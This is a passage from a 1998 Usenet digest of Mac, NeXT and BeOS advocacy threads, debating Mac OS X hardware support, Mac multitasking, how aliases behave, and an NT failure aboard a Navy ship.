incredibly stupid or for a programmer to *miss any single bug in his/her
SW*?
Please Joe, try to focus on the issue:
If it was only *the* code snippet that I posted that could do damage
then there would be no problem. *But* it's not. In fact any bug in any
SW could easily make the user loose work. And that's the problem with
8.1, and perhaps the biggest reason it won't be good enough as a
replacement for OS X for the users that won't let Apple decide when it's
time for them to upgrade their perfectly good HW.
Do you honestly think that Apple is doing the right thing?
Personally, I fear that this is the beginning of Steve Jobs doing
exactly what he said he would do if he was in charge of Apple (before he
became interim CEO of Apple, obviously):
"If I was at Apple, I'd milk the Mac for what it's worth and move on to
the next big thing". Not exact quote, but something like that.
What would be a better start then to try to force all users to buy a
brand new Mac?
Magnus
--
Delete spamblocker '.x' to reply via email
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 22 Jul 1998 00:51:02 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6p3d1m$mr6$1@camel18.mindspring.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6p2u11$9g3$1@nnrp1.dejanews.com> , quinlan@intergate.bc.ca
writes:
>
>Still, Microsoft is better than Apple in this instance. You claim that people
>needed a new PC to run Windows 95 well while Apple will require a new Mac to
>run Mac OS X at all. BTW, in the context of Windows 98, a new PC is one that
>is only a few years old. Not under 18 months old like Apple requires.
Please.
Microsoft doesn't depend on new hardware purchases.
Matthew Cromer
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: View from the trenches
Message-ID: <1998072200505100.UAA14584@ladder03.news.aol.com>
Date: 22 Jul 1998 00:50:51 GMT
Organization: AOL http://www.aol.com
References: <id_est-2107980027290001@192.168.1.3>
id est said:
>or unless someone is careful in loading, storing and handling the weapon
>and simply decides to point it at someone else and pull the trigger.
The context was accidental injury. Naturally, a well-made firearm will inflict
injury intentionally, that's what it's made for.
Anyone heard anything hopeful on Apple's doing something with the Newton
technology? (to return the discussion to computers).
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17>
Message-ID: <35b537c1.0@news.depaul.edu>
Date: 22 Jul 98 00:52:17 GMT
In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> Are you suggesting that it is harder to test MacOS X for Pre-G3 Macs than
> it is to test MacOS 8.x for the 68040, NuBux, Pre-G3 and G3 Macs?
MacOS X is a new OS. OS 8.x was an incremental change. Huge difference.
Especially if the model-specific patches in MacOS won't work on
OSX.
--
"... and subpoenas for all." - Ken Starr
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 21 Jul 1998 18:56:04 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2107981856040001@pm3a15.rmac.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com>
NNTP-Posting-Date: 22 Jul 1998 00:53:57 GMT
In article <6ovhg8$qsp@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Joshua T. McKee <Josh.McKee@cbns.com> wrote:
> >
> >If your criteria for an OS is multitasking, then I guess the Mac ain't for
> >you. If your criteria for an OS is ease of use, and high productivity,
> >then I guess the Mac is for you.
> >
> >The Macs multitasking is not perfect, but it works...and works amazingly
> >well. Who cares how old it is if it works for the majority of tasks? I
> >definitly wouldn't want it for a server OS...but then, I don't think the
> >Mac is marketed as a server platform.
>
> The Macintosh should get preemptive multitasking (with a variety of
> scheduling methods possible). As a practical matter, Macintosh multitasking
> is as useable, if not more, than Windows 95 multitasking.
A statement I agree with 100%...it isn't perfect, but it's far from being
as bad as people make it out to be.
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 18:53:20 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2107981853200001@pm3a15.rmac.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net>
NNTP-Posting-Date: 22 Jul 1998 00:51:13 GMT
In article <bux-2007981300570001@dial-tulip-20.bway.net>, bux@bway.net
(Robert Buxbaum) wrote:
> In article <Josh.McKee-1807981007290001@pm3a21.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
>
> >
> > The problem as I see it is that Apple has said this twice already...what
> > is to keep them from doing it with the G3 Macs? In other words, what is
> > to keep Apple in a year from now, declaring OS X dead and OS XI the "new"
> > OS? And that OS XI will not run on existing G3 Macs.
> >
>
> Nothing. What will keep anyone from designing a new operating system that
> calls for new computers. If a computer will work for you now, it will
> work long enough to earn it's keep. You're not complaining about a
> computer that will not "work" nor help you do your work. You're just
> speaking about owning a computer that will run the latest operating
> system, even if the only way to guarantee that would be to kill research
> and development.
You might have a good arguement about the R&D if you could demonstrate
that R&D would be hurt by Apple including PCI based PowerMac support in OS
X. I see nothing really challenging that would keep OS X from running on
this equipment. Rhapsody has not been renamed "OS X Server" and it runs
on this equipment. Why can't "OS X end user"?
Josh
From: scud@huntsville.sparta.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 21 Jul 1998 20:43:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p2uhc$a4b$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu> <MPG.1014a8e367d27764989993@news.supernews.com> <pulsar-ya02408000R1407980055330001@news-proxy.cso.uiuc.edu> <MPG.10151f8fca0af55e989996@news.supernews.com>
In article <MPG.10151f8fca0af55e989996@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
>
> Hell, we did more testing than that on new versions of QUICKMAIL!
>
That's a laugh.
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 21 Jul 1998 20:42:08 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p2uf0$a3m$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p07rq$gn5$1@nnrp1.dejanews.com> <6p0aht$mrk$1@nntp6.u.washington.edu> <6p0pif$bnq$1@nnrp1.dejanews.com> <6p2a6v$d0g$1@nntp6.u.washington.edu>
In article <6p2a6v$d0g$1@nntp6.u.washington.edu>
gwangung@u.washington.edu (R. Tang) wrote:
> I dunno; do you ahve an IQ over room temperature?
Depends on the unit system.
> Apple said that
> >I would get to run their "next generation" operating system on my 6100.
>
> They never said this.
Yes they did. At the time, Copland was their "next generation" operating
system and they said that all PowerMacs would be able to use it.
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From: charles.bouldin@nist.gov (Charles Bouldin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Date: Tue, 21 Jul 1998 21:29:54 -0400
Organization: Sometimes
Message-ID: <charles.bouldin-2107982129550001@chuckb.mnsinc.com>
References: <6p2iih$6k3@bgtnsc03.worldnet.att.net> <6p2kcq$kht$2@supernews.com> <6p2pia$rp2$1@nnrp1.snfc21.pbi.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6p2pia$rp2$1@nnrp1.snfc21.pbi.net>, "Mark Micklich"
<SRFPCI1@pacbell.net> wrote:
>Before all MacUsers point the finger at NT, this situation is due to bad
>programming (like the Y2K issue). It could have happened with any OS,
>including MacOS. The "database" used in this context was a "master
>controller" used by Navy personnel to manage ship operations at a
>high-level. If you don't take care of exception-handling, this is the stuff
>that happens folks, I don't care what OS you use.
>
>The problem is not NT -- it's poor engineering design. I'm not defending
>NT, but if MacOS was used, the exact same situation could have happened and
>JoeR would immediately jump in with the same defense I just described. If
>you don't have complete exception-handling, crashes will happen. There are
>many stories of this nature, and many of them have nothing to do with NT.
Yes, but the full story, as written up in one of the federal computer
magazines includes quotes from Navy brass saying that they were "forced to
use NT because of political pressure"! I was *stunned* to see these
quotations, with full attribution, in PRINT! This is *very* unusual,
especially from DOD. Things like this are usually just buried and quietly
forgotten or quietly fixed. The direct quotations from several Navy
spokesmen about how they don't like NT and find it to have serious
flaws....this is amazing! The other thing they report is that they would
much rather use Unix than NT!
(I do NOT speak for the government on this. I am just amused and amazed by
the story.)
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 20:52:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p2v22$ap0$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net>
In article <joe.ragosta-2107981135290001@wil93.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Which do you think is more likely--for an end-user to do something
> incredibly stupid or for a programmer to use the code snippet you posted
> above and not catch it?
Unless you are willing to disable a lot of useful functions, there is no way
to prevent the user from doing something "incredibly stupid." OTOH, it is
fairly easy to prevent memory exceptions and infinite loops from hanging the
machine. And, as I said in another post, there are a lot of Mac programs
(according to Apple) with memory problems that only work coincidentally.
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From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 21 Jul 1998 19:25:43 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2107981925440001@pm3a2.rmac.net>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 22 Jul 1998 01:23:38 GMT
In article <6ou35v$h4l$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <Josh.McKee-1907981309250001@pm3a13.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > If your criteria for an OS is ease of use, and high productivity,
> > then I guess the Mac is for you.
>
> Under what conditions and compared to what other operating sytems? What test
> methodology?
Go visit Joe Ragosta's web site for details. Basically the target
audience that the Mac compete's in.
> > The Macs multitasking is not perfect, but it works...and works amazingly
> > well. Who cares how old it is if it works for the majority of tasks? I
> > definitly wouldn't want it for a server OS...but then, I don't think the
> > Mac is marketed as a server platform.
>
> I'm doing a download right now and I want to play Hornet until it's done. But
> I can't because the download will time out. I want to do some simple word
> processing while Bryce renders that really complicated scene. But my computer
> gets so slow that I can't even do that. Want some more examples?
We've already gone over this. It's not the Mac, it's the programs. I
demonstrated that the Mac is perfectly able to do various things at the
same time, provided that the software co-operates. One can argue that
programs shouldn't have to do this, but the point is...the Macs multasking
works better than most people give it credit. And PC advocates always
seem to overlook the fact that us Mac advocates clearly state that the
Macs CMT isn't the best multitasking method. All we're saying is that it
isn't as bad as people make it out to be. And, that for most people, it
is sufficient...thus, we feel no need to switch to another OS to gain that
"advantage".
> And let's talk about efficiency. Say I run Stuffit Expander (or Compact Pro)
> to decompress a file while I have a Photoshop filter going in the background.
> I bet that the CPU utilization is less than 50% because the MacOS doesn't
> automatically switch tasks when the running process blocks due to IO.
Here's theory again...have you tried this? Not saying you're wrong, but
someone else made a claim that turned out to be 100% wrong. Since you say
"I bet", it sounds as if you've never tried it. And even if you're
correct, so what...we're probably not talking a large amount of time being
wasted...certainly not enough to make a difference (though I could be
wrong as I haven't tried it).
Josh
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 21 Jul 1998 21:03:56 GMT
Organization: University of California at San Diego
Message-ID: <slrn6ra0hr.7jn.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au>
On Tue, 21 Jul 1998 16:56:39 +1000, Christopher Smith <drsmithy@usa.net> wrote:
:
:The difference being, Win95 will run (usably even) on machines built about 4
:years before it was released. Apple can't even commit to OS X running on
:machines that will be barely *18 months* old at its release.
Win95 <-> MacOS 9.
WinNT <-> MacOS X.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 21 Jul 1998 21:24:12 GMT
Organization: University of Washington, Seattle
Message-ID: <6p30ts$r04$1@nntp6.u.washington.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p0pif$bnq$1@nnrp1.dejanews.com> <6p2a6v$d0g$1@nntp6.u.washington.edu> <6p2uf0$a3m$1@nnrp1.dejanews.com>
NNTP-Posting-User: gwangung
In article <6p2uf0$a3m$1@nnrp1.dejanews.com>, <quinlan@intergate.bc.ca> wrote:
>In article <6p2a6v$d0g$1@nntp6.u.washington.edu>
> gwangung@u.washington.edu (R. Tang) wrote:
>> Apple said that
>> >I would get to run their "next generation" operating system on my 6100.
>>
>> They never said this.
>
>Yes they did. At the time, Copland was their "next generation" operating
>system and they said that all PowerMacs would be able to use it.
This has been gone over before.
Quote it.
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/arts/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: MIT's Negroponte abandons Mac
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <9Ibt1.6028$7k7.7216735@news.rdc1.sdca.home.com>
Date: Wed, 22 Jul 1998 01:59:33 GMT
NNTP-Posting-Date: Tue, 21 Jul 1998 18:59:33 PDT
Organization: @Home Network
In the latest Wired issue, August, Negroponte concedes Apple's tools and
technologies "yesterday" solutions for those people concerned about
tommorrow. Branding Apple's market moves "too little, too late" Negroponte
claims the "Think differently" campaign a big Whoa for those already so
liberated.
Talk about declaring Job's baby, iMac, DOA before it hits the market? It
first struck me as journalistic market manipulation disquised as credit for
writing Apple's epitaph.
What's more sad? Apple marketshare is so low that his article placement and
impact are perhaps small to imperceptible.
-r
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 21 Jul 1998 23:58:13 +0200
Organization: Completely Disorganized
Message-ID: <1dcjho7.cblrfxhj5xpuN@rhrz-isdn3-p51.rhrz.uni-bonn.de>
References: <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <1dcj69z.1o563yq97eq68N@rhrz-isdn3-p14.rhrz.uni-bonn.de> <OE6t1.1444$E5.7167658@proxye1.san.rr.com>
Mail-Copies-To: never
Ed Deans. <eadeans@san.rr.com> wrote:
> >> > > See http://www.ews.uiuc.edu/~tokarek/rhapsody/ for something that
> >> > > might be better.
> The above URL offers the suggestion of adding affordances to the menu bar
> and menuing system.
You're talking Gibson here? Oh dear. Those gadgets are not affordances
-- actually, affordances are not _things_. Sure Pulsar's menus afford
more ways of interaction than the plain global menu bar does, but there
are no little affordance thingies to point at.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 21 Jul 1998 17:20:57 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980721163334.19564D-100000@ux7.cso.uiuc.edu>
References: <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <JWMs1.1091$E5.6247799@proxye1.san.rr.com> <ericb-2007982116410001@128.84.203.147> <PbVs1.1389$E5.6653879@proxye1.san.rr.com> <Pine.SOL.3.96.980721103837.9943C-100000@ux7.cso.uiuc.edu> <hq6t1.1443$E5.7159109@proxye1.san.rr.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <hq6t1.1443$E5.7159109@proxye1.san.rr.com>
On Tue, 21 Jul 1998, Ed Deans. wrote:
> Pulsar wrote in message ...
> >On Tue, 21 Jul 1998, Ed Deans. wrote:
> >
> >> Eric Bennett wrote in message ...
> >>
> >Do you _expect_ the alias to still point to the original when you delete
> >it? It's not gonna happen.
> >
> >If Apple ever changes the Mac OS to be able to _move_ a file from one
> >volume to another (from a user perspective), then you can start
> >complaining that aliases don't follow the originals, but right now,
> >aliases work as they're supposed to. They are not dumb in the way you say
> >they are.
>
> Can't anyone read in this group anymore.
>
> Clearly I want a way to move the original.
No, that is _not_ what you wrote.
You wrote:
"Aliases are "dumb"--not working across volumes."
When you clarified, you said:
"Unless something changed very recently if I drag the original over to
a new volume and delete the old one (because the Mac doesn't let me move
between volumes) the alias no longer points to the item."
Specifically what happens is that you copy the file by dragging it to
another volume and then you delete the original. Nowhere did you mention
that you wanted the ability to _move_ (not copy) a file to another volume.
You mentioned that the Mac OS doesn't have that ability.
You should worry more about making your arguements clear than whining
about the reading ability of people in this group (directly implying
_me_).
> It's impossible to move the
> original without breaking all of the aliases and requiring you to recreate
> them.
This is _not_ true!!! You can move the original anywhere and you will not
break the alias. Let's make sure we have our terminology right.
What happens in the Mac OS is that a file is _coppied_ when you drag it
from one volume to another. The file on the new volume is _not_ the same
file, but is a copy. It is not the origninal, but a copy of the original.
When you get around to deleting the original, the alias _understandably_
and _rightfully_ breaks.
> The only way to effectively move the original is to make a copy and
> delete the original. AFAIK, if the alias is broken I don't have a chance to
> point it to the new location (the new volume) without using a third party
> utility.
It would be good if Apple would provide a way to redirect an alias quite
apart from adding the ability to move a file from one volume to another
(which would be good too).
> >> Hmmm...can I drop an alias to my desktop printer into an email and sent
> >> it to someone on my network? AFAIK, nothey have to goto the chooser
> >> to connect to it once it's shared.
> >
> >I don't know about desktop printers, but so long as you are on the network
> >and the other person's machine has the permissions to access the
> >file/folder you created an alias for, then yes. The person you sent the
> >alias to can access that file/folder.
>
> Have you tried this or just saying that in theory it ought to work?
I know that it works with files/folders. When you double click on the
alias from another machine, if the volume isn't alread mounted, the Mac
mounts it (and asks for a password if necessary) then opens the file or
folder or whatever it's pointing to. The client machine simply has to be
able to access the remote machine on the network and have the appropriate
permissions to access that volume/file.
I doubt it would work with Desktop Printers, but maybe. I've never
tried it.
> >I don't use desktop printers so I don't know whether aliases would work
> >that way.
>
> Any one else care to take a crack at that one?
>
> >> Aliases aren't cleaned up when all copies of original item have been
> >> deleted.
> >
> >I'm not sure that they should be.
>
> Please tell me you are kidding. What good does an alias do if I've no
> longer got the original item? They should vanish with the original (unless
> the original is not local and that volume has not be mounted).
That last sentence is the precise reason why they should not be deleted.
There should be consistancy. Having a broken alias lying around isn't a
horrible thing. Perhaps the icon could change to indicate that it's lost
the link. Deleting files on users' hard drives without explicit consent is
_not_ a good thing.
> >> >In many situations, they can even work when you reformat a drive with a
> >> >new name and then restore the old hierarchy of files and directories.
> >>
> >> That's only because the file ID numbers were preserved in the backup.
> >
> >No, it's because the alias stores more than just the file ID. It also
> >stores a path. When you "restore the old heirarchy of files and
> >directories", you provide the same access path for the alias to work. The
> >file IDs change when they are copied back onto the newly formatted drive.
>
> Doesn't the path include the volume name? I jumped the gun and assumed they
> kept the file id but I suppose that wouldn't make sense now would it. I
> should have checked out that behavior before making my statement. If you
> didn't restore the hierarchy *exactly* would the alias still work?
An alias stores a whole slew of stuff. The list from what I remember is:
Volume name
Voume ID
Machine name (network)
Machine zone (probably) (network)
File name
File path
File ID
File Type/Creator
Modification and creation dates for the target (I think)
Of these only a few are useful in getting to the file. The others are
useful for identifying whether it actually is the target or just another
file that's similar, but in the same place. There are probably a couple
other things that get stored.
I think the volume name can be different when restoring the files/folders,
but the heirarchy must be the same if restoring them is to work.
> Clarification: Are you talking about restoring via backup software or just
> copying a backup via the Finder?
I'm not sure that it matters (since I think backup software does the
equivalent, but just automates the process). Anyway, I was refering to
copying everything onto another disk (like a Zip disk) and copying it back
after reformatting.
I'm not sure specifically to what Eric was refering.
Ryan Tokarek --doesn't bother with special backup software either
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 21 Jul 1998 19:31:27 -0700
Message-ID: <see-below-2107981931280001@dynamic23.pm04.mv.best.com>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <6oe63d$2r6$1@vixen.cso.uiuc.edu> <Jonas.Palm-1507981217060001@jp.orgk1.dial.lu.se> <6ot3cc$n4h$4@ironhorse.plsys.co.uk> <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se> <B1D929AE-A3562@206.165.43.162> <joe.ragosta-2007982116060001@elk57.dol.net> <1dcj27z.9jrqo43jtddsN@du137-242.ppp.algonet.se> <kewldoc-2207980649480001@53.0.17.176.203.in-addr.arpa>
In article <kewldoc-2207980649480001@53.0.17.176.203.in-addr.arpa>,
kewldoc@hotmail.com (Henry C. Maglente) wrote:
> In article <1dcj27z.9jrqo43jtddsN@du137-242.ppp.algonet.se>,
> qwerty.x@algonet.se (Magnus Thoor) wrote:
>
> > Apple has made clear that Rhapsody 1.0 will be a dead end and therefore
> > once again betrayed their user base.
> >
> > How much more do they think we will take?
>
> Obviously they think we'll take alot. And from the looks of things, Mac
> users in general are willing to take the abuse for the love of our machine
> (or is it in fear of having to use Windows ?). True, we may have slid to
> #2 in customer loyalty, but considering what Mac users have been through,
> that high of a ranking is incredible...
This is very true, especially the part about fearing Windows. I think if
Microsoft actually shipped a decent OS, Apple would be dead almost
overnight. Fortunately for Apple, MS is very far from shipping an OS that
would satisfy most remaining Mac users.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
From: Tyler Riti <fizzboy@mail.utexas.edu>
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
In-Reply-To: <6p0u15$28f$1@nntp2.ba.best.com>
Message-ID: <Pine.BOS.3.96.980721195059.399B-100000@fbnp>
References: <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com><6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p064q$1pd$1@nnrp03.primenet.com> <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu> <6p0me6$qrb$1@nntp2.ba.best.com> <Pine.BOS.3.96.980720194737.225A-100000@fbnp> <6p0u15$28f$1@nntp2.ba.best.com>
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Date: Wed, 22 Jul 1998 02:20:58 GMT
NNTP-Posting-Date: Tue, 21 Jul 1998 21:20:58 CDT
On 21 Jul 1998, Kenneth C. Dyke wrote:
Consequently, which newsgroup are you on, I want to reduce these
cross-posts. Everyone else should do the same, please.
>>How many windows? What application? What kind of computer do you have.
>
>It was somewhere above 200 (230?) with StyledEdit. NetPositive seemed
>to barf with less than that for some reason. My system is a PowerTower
>Pro 225, 128MB of RAM. I can go get exact numbers for R3 if you'd
>like.
Alright... well I see what you mean here. This bug is documented I suppose
but I don't think it'll be a real problem until the BeOS goes multi-user.
It's a problem, yes, but definately not serious. It's definately nowhere
near as limited as Win95 or MacOS is. (no flames please)
Tyler Riti -- http://www.cs.utexas.edu/users/fizzboy/
"Tears, happiness... The two are interchangable."
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 22 Jul 1998 02:38:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p3jbj$dm$1@nnrp1.dejanews.com>
